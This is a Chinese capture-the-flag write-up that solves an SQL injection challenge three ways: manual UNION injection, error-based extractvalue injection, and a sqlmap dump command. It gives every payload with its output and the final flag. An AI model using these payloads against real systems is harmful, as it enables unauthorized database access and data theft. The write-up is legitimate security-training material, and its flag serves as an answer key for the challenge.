[SWPUCTF 2021 新生赛]easy_sql - 联合注入||报错注入||sqlmap

这题可以直接参考:[NISACTF 2022]join-us - 报错注入&无列名注入

网站标题提示,参数是wllm
?wllm=1

得到:Your Login name:xxx Your Password:yyy

解法一:手注

1、先尝试普通注入?wllm=-1'union select 1,2,3--+

得到:Your Login name:2 Your Password:3

这里注意 ,wllm=-1才会回显占位符,否则还是xxx yyy

2、?wllm=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = database()),3--+

得到:Your Login name:test_tb,users

3、?wllm=-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 'test_tb'),3--+

得到:Your Login name:id,flag

4、?wllm=-1'union select 1,(select group_concat(flag) from test_tb),3--+

得到:Your Login name:NSSCTF{82bf2238-f61d-41f1-b103-848e28154cee}

如果能手注,还是非常舒服的!

解法二:报错注入

1、?wllm=1'-a()--+

得到:FUNCTION test_db.a does not exist

表为:test_db

2、?wllm=1' and extractvalue(0,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schema = 'test_db'),1,100),0x7e))--+

得到:XPATH syntax error: '~ test_tb,users ~'

3、查test_tb:?wllm=1' and extractvalue(0,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name = 'test_tb'),1,100),0x7e))--+

得到:XPATH syntax error: '~ id,flag ~'

4、查test_tb.flag:?wllm=1' and extractvalue(0,concat(0x7e,mid((select group_concat(flag) from test_tb),1,100),0x7e))--+

得到:XPATH syntax error: '~NSSCTF{82bf2238-f61d-41f1-b103-'

5、查test_tb.flag:?wllm=1' and extractvalue(0,concat(0x7e,mid((select group_concat(flag) from test_tb),20,100),0x7e))--+

XPATH syntax error: '~ d-41f1-b103-848e28154cee} ~'

最终:flag=NSSCTF{82bf2238-f61d-41f1-b103-848e28154cee}

解法三:sqlmap

python sqlmap.py -u "http://xxxxxxxxxxxxx.cn:28930/?wllm=1" --batch --dump -T test_tb

sqlmap每次都要跑很久,个人喜欢手注

相关推荐
松涛和鸣3 分钟前
DAY67 IMX6 Development Board Configuration from Scratch
数据库·postgresql·sqlserver
阿里云云原生4 分钟前
探秘 AgentRun丨动态下发+权限隔离,重构 AI Agent 安全体系
人工智能·安全·阿里云·重构·agentrun
路由侠内网穿透.7 分钟前
fnOS 飞牛云 NAS 本地部署私人影视库 MoonTV 并实现外部访问
运维·服务器·网络·数据库·网络协议
怣5011 分钟前
MySQL表筛选分组全解析:排序、分组与限制的艺术
数据库·mysql
tsyjjOvO14 分钟前
JDBC(Java Database Connectivity)
java·数据库
陌上丨15 分钟前
如何保证Redis缓存和数据库数据的一致性?
数据库·redis·缓存
l1t28 分钟前
一个用postgresql的自定义函数求解数独的程序
数据库·postgresql·数独
智驱力人工智能31 分钟前
货车走快车道检测 高速公路安全治理的工程实践与价值闭环 高速公路货车占用小客车道抓拍系统 城市快速路货车违规占道AI识别
人工智能·opencv·算法·安全·yolo·目标检测·边缘计算
上海云盾-小余34 分钟前
DDoS安全防护怎么选,如何挑选DDoS防护
安全·ddos
IvorySQL1 小时前
改变工作方式的 PostgreSQL 实用模式
数据库·postgresql